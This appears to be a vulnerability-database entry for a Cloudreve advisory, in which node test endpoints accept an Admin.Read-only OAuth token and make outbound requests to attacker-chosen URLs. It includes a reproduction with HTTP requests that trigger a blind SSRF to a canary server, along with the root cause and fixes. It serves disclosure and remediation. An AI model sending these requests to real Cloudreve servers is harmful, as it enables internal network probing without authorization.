Vulnerability Database

363,159

Total vulnerabilities in the database

Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests — github.com/cloudreve/Cloudreve/v4

Incorrect Authorization

Summary

Cloudreve exposes two admin node test endpoints under the Admin.Read OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for Admin.Read to trigger operational network actions that should require Admin.Write.

Impact

An attacker who obtains an admin-authorized OAuth token with Admin.Read but not Admin.Write can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.

Affected version

Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.

Technical details

The authenticated admin route group requires only Admin.Read:

auth := v4.Group("") auth.Use(middleware.LoginRequired()) auth.Use(middleware.RequiredScopes(types.ScopeAdminRead)) admin := auth.Group("admin", middleware.IsAdmin())

The following routes are registered without ScopeAdminWrite:

node.POST("test", controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}), controllers.AdminTestSlave, ) node.POST("test/downloader", controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}), controllers.AdminTestDownloader, )

By contrast, node create, update, and delete routes do require Admin.Write:

node.PUT("", middleware.RequiredScopes(types.ScopeAdminWrite), ...) node.PUT(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...) node.DELETE(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)

TestNodeService.Test() parses the attacker-supplied node server and sends a request to it:

slave, err := url.Parse(service.Node.Server) ... res, err := r.Request( "POST", routes.SlavePingRoute(slave), bytes.NewReader(bodyByte), ... )

TestNodeDownloaderService.Test() constructs a downloader from attacker-supplied node settings and invokes its network test method.

Reproduction

The following was verified against a disposable Cloudreve instance built from the affected commit.

Prerequisite: an admin user authorizes an OAuth client with Admin.Read but not Admin.Write.

  1. Obtain an OAuth access token whose scope is only:
openid Admin.Read

The returned token response contains:

{ "token_type": "Bearer", "scope": "openid Admin.Read" }
  1. Confirm the token cannot perform an Admin.Write node operation:
PUT /api/v4/admin/node HTTP/1.1 Authorization: Bearer <admin-read-oauth-token> Content-Type: application/json { "node": { "name": "deny-control", "server": "http://127.0.0.1:18080", "type": "slave", "slave_key": "poc" } }

Observed response:

{ "code": 40089, "msg": "Insufficient scope: Admin.Write" }
  1. Use the same Admin.Read-only OAuth token to call the node test endpoint with an attacker-controlled server URL:
POST /api/v4/admin/node/test HTTP/1.1 Authorization: Bearer <admin-read-oauth-token> Content-Type: application/json { "node": { "id": 124, "name": "ssrf-poc", "server": "http://127.0.0.1:18080", "type": "slave", "slave_key": "attacker-controlled-key" } }

Observed Cloudreve response:

{ "code": 0, "msg": "" }
  1. The canary server at 127.0.0.1:18080 received the backend request:
POST /api/v4/slave/ping HTTP/1.1 Host: 127.0.0.1:18080 User-Agent: Cloudreve/4.14.0 Authorization: Bearer Cr <hmac-signature>:<timestamp> X-Cr-Node-Id: 124 X-Cr-Site-Url: http://127.0.0.1:15212 Content-Length: 37 {"callback":"http://127.0.0.1:15212"}

This proves the Admin.Read-only OAuth token is denied on a sibling Admin.Write route but can still trigger a server-side request to an attacker-selected node URL through the test route.

Root cause

The route group enforces Admin.Read by default and relies on per-route Admin.Write middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the Admin.Write set even though they execute server-side network actions using attacker-supplied configuration.

Remediation

  • Add middleware.RequiredScopes(types.ScopeAdminWrite) to both node test routes.
  • Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.
  • Audit other admin test endpoints for read-scoped side effects.
  • Published: Jul 24, 2026
  • Updated: Jul 25, 2026
  • GHSA: GHSA-v6w6-358x-2433
  • Severity: Medium
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Medium
  • Score: 5.4
  • AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

CWEs:

Software From Fixed in
Go icon github.com/cloudreve/Cloudreve/v4 - 4.0.0-20260626022735-332a9d800205
Go icon github.com/cloudreve/Cloudreve/v3 - 3.0.0-20250225100611-da4e44b77af4.x

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.